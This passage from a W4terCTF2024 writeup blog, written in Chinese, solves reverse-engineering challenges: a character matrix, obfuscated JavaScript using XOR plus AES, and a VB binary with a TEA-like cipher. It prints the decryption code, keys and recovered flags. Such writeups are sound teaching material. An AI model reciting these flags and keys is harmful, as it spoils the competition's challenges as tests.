[32, 32, 49, 49, 49, 49, 32, 32, 49, 49, 32, 32, 49, 49, 32, 32, 32],
[49, 49, 49, 49, 49, 49, 49, 49, 49, 49, 32, 32, 49, 49, 32, 32, 32],
[32, 32, 49, 49, 49, 49, 49, 49, 49, 49, 32, 32, 49, 49, 32, 32, 32],
[32, 32, 32, 32, 49, 49, 49, 49, 32, 32, 32, 32, 49, 49, 32, 32, 32],
[32, 32, 32, 32, 32, 32, 49, 49, 32, 32, 49, 49, 49, 49, 49, 49, 32],
[32, 32, 32, 32, 32, 32, 32, 32, 49, 49, 49, 49, 49, 49, 49, 49, 49],
[32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 49, 49, 49, 49, 49, 49, 49],
[32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 49, 49, 49, 49, 49],
[32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 49, 49, 32, 32, 49, 49, 49],
[32, 32, 32, 32, 32, 32, 32, 32, 49, 49, 32, 32, 32, 32, 49, 49, 49],
[32, 32, 32, 32, 32, 32, 49, 49, 32, 32, 32, 32, 49, 49, 32, 32, 32],
[32, 32, 32, 32, 32, 32, 49, 49, 32, 32, 49, 49, 32, 32, 32, 32, 49],
[32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 49, 49, 32, 32, 49, 49, 32]]

str_array_8020 = [ (''.join(chr(x) for x in line )) for line in matrix_8020]

# print(str_array_8020)

for line in str_array_8020:
for i in range(26):
if small_alpha_bet[i][0:17] == line:
print(chr(i+ord('a')),end=' ')
for i in range(26):
if upper_alpha_bet[i][0:17] == line:
print(chr(i+ord('A')), end=' ')
for i in range(10):
if num_bet[i][0:17] == line:
print(chr(i+ord('0')), end=' ')

结果为

1
M O U N D W H I 7 e c r a B s

由此得到flag

W4terCTF{1E7_US_drAW_a_plC7ur3_WITH_MA7Rix_4nd_MOUND_WHI7e_craBs}

DouDou

爬了js下来,用了restringer反混淆,得到关键函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
function check(q) {
var V = JSON.parse(JSON.stringify(q)),
x = []
for (var P = 0; P < 12; P++) {
x.push(
e(q[P])
.map((g) => g.toString(16).padStart(2, '0'))
.join('')
)
}
x = x.join('')
if (x == r + A + s + y + B + F + w + Q + b + p + i + f) {
// ...

最后x == ...后面的表达式也求出来了,是一个超长16进制字符串,太长不贴了。

分析前面调用check(STEPS)的环节可以得到,q会是一个[[int * 16] * 12],而函数e,结合hint最终判断为AES加密,key是W4terDr0pCTF2024,但是还没完,加密之前每个字节要先异或一个153

最后生成的x要等于那个超长字符串,才会进入if内生成flag的过程,得到flag:

1
2
3
4
5
6
7
8
9
flag = ''
res = ''
for (var P = 0; P < 12; P++) {
res += V[P].map((g) => String.fromCharCode(g))
}
res = res.replaceAll(',', '')
for (var P = 0; P < res.length; P += 4) {
flag += String.fromCharCode(parseInt(res.slice(P, P + 4), 4))
}

大概就是res四个一组,parse成一个四位四进制整数,再转ascii即可。这也就意味着res必须是^[0123]*$,这也可以检验得到res的过程是否正确,反正我们一次就出来了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
final_x = "91d48f9e77505fe36b1537597d68a8be6ef1ced09bba7c9d4ea6a123042d47bbd5776d7b85eebbb7738de44b9af45f9b706640c8dac77d409ceb067e677e7290401e4852527e119b8095a636d0b628e1161142b7dfcbcf2ef890698ba5d279c78df2348e45d1aef635ebfb841284f6d67d1e9d0f0489bcdc5ba303bc791d0e18e46889fa856a463907d82a8137b7b2a863d1896d4dfcd6b84a2f55b50567f705ea7177187609da2e506182007b7e8244acf62c69de4f511760159ffc6dd8e9f5"
aes = AES.new(b"W4terDr0pCTF2024", AES.MODE_ECB)

l = []
while final_x:
part_s = final_x[:32]
final_x = final_x[32:]
l2 = []
while part_s:
x = int(part_s[:2], 16)
l2.append(x)
part_s = part_s[2:]
l.append(l2)

l = [[x ^ 153 for x in subl] for subl in l]
l = [bytes(subl) for subl in l]
l = [aes.decrypt(b) for b in l]

ans = ""
for s in l:
while s:
b = int(s[:4], 4)
s = s[4:]
ans += chr(b)
ans
1
'jS_ls_In7erEStlng_ANd_QuaTeRN4rY_IS_al50_1Unny!!'

古老的语言

用VB反编译器逆向,关键函数Fxxxtel如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Public Function Fxxxtel(raw) '40F35C
'Data Table: 40E3A8
Dim var_B0 As Long
Dim var_B4 As Long
Dim var_B8 As Long
Dim var_BC As Long
Dim var_86 As Integer
loc_40F031: For var_AC = 0 To 9 Step 3: var_A6 = var_AC 'Integer
loc_40F047: var_B4 = raw(CLng(var_A6))
loc_40F055: var_B8 = raw(CLng((var_A6 + 1)))
loc_40F063: var_BC = raw(CLng((var_A6 + 2)))
loc_40F06D: For var_C0 = 1 To &H20: var_A8 = var_C0 'Integer
loc_40F089: var_B0 = AddLong(0, -1640531527)
loc_40F0FB: var_B4 = var_B4 Xor AddLong(AddLong(LeftRotateLong(var_B8, 4) Xor -559038737, var_B8 Xor var_B0), RightRotateLong(var_B8, 5) Xor -1161901314)
loc_40F16D: var_B8 = var_B8 Xor AddLong(AddLong(LeftRotateLong(var_BC, 4) Xor -559038737, var_BC Xor var_B0), RightRotateLong(var_BC, 5) Xor -1161901314)
loc_40F1DF: var_BC = var_BC Xor AddLong(AddLong(LeftRotateLong(var_B4, 4) Xor -559038737, var_B4 Xor var_B0), RightRotateLong(var_B4, 5) Xor -1161901314)
loc_40F1E5: Next var_C0 'Integer
loc_40F1F4: var_A0(CLng(var_A6)) = var_B4
loc_40F202: var_A0(CLng((var_A6 + 1))) = var_B8
loc_40F210: var_A0(CLng((var_A6 + 2))) = var_BC
loc_40F214: Next var_AC 'Integer
loc_40F21B: var_86 = &HFF

用C整理出的等价版本:

1
2
3
4
5
6
7
8
9
10
11
void encrypt(uint32_t *v) {
uint32_t a = v[0], b = v[1], c = v[2];
for (int i = 0; i < 32; i++) {
a = a ^ round_fn(b);
b = b ^ round_fn(c);
c = c ^ round_fn(a);
}
v[0] = a;
v[1] = b;
v[2] = c;
}
1
2
3
4
uint32_t round_fn(uint32_t b) {
const uint32_t delta = 0x9e3779b9;
return ((left_rotate(b, 4) ^ (0xdeadbeef)) + (b ^ delta) +
(right_rotate(b, 5) ^ (0xbabecafe)));

在这之后是一长串的IF,判断var_A0的各个位是否等于一些硬编码的32位常数,将这些常数解密即可。

可以看出这和TEA加密非常像,但是是三个一组的循环混淆,而非经典TEA的两个一组,而且把TEA轮函数加法和异或交换了,以及每次异或的是固定的delta而不是delta的累加。每次取三个u32一组,像这样交叉异或32轮。

三个一组问题不大,把加密的顺序反过来异或回去可以了,原理是一样的:

1
2
3
4
5
6
7
8
9
10
11
void decrypt(uint32_t *v) {
uint32_t a = v[0], b = v[1], c = v[2];
for (int i = 0; i < 32; i++) {
c = c ^ round_fn(a);
b = b ^ round_fn(c);
a = a ^ round_fn(b);
}
v[0] = a;
v[1] = b;
v[2] = c;
}

然而这样不对。hint说要关掉的那个选项我看到了,关了之后重新复现了一遍,发现跟之前一点区别没有,心态炸了。

最后一天晚九点,突发奇想把轮函数改了一下,把sum做异或,相当于只把轮函数的加法和异或互换的TEA算法,保留sum的部分不改,然后居然过了,有瞎蒙的成分在。

事后注意到这一行:

1
loc_40F089:     var_B0 = AddLong(0, -1640531527)

那就意味着这一行的逆向是错的,应该是var_B0 = AddLong(var_B0, -1640531527),不过没发现为什么。


W4terCTF2024 Writeup
https://blog.algorithmpark.xyz/2024/04/29/ctf/W4terCTF2024/index/
作者
CJL, fuusen, unknown25001
发布于
2024年4月29日
更新于
2024年4月29日
许可协议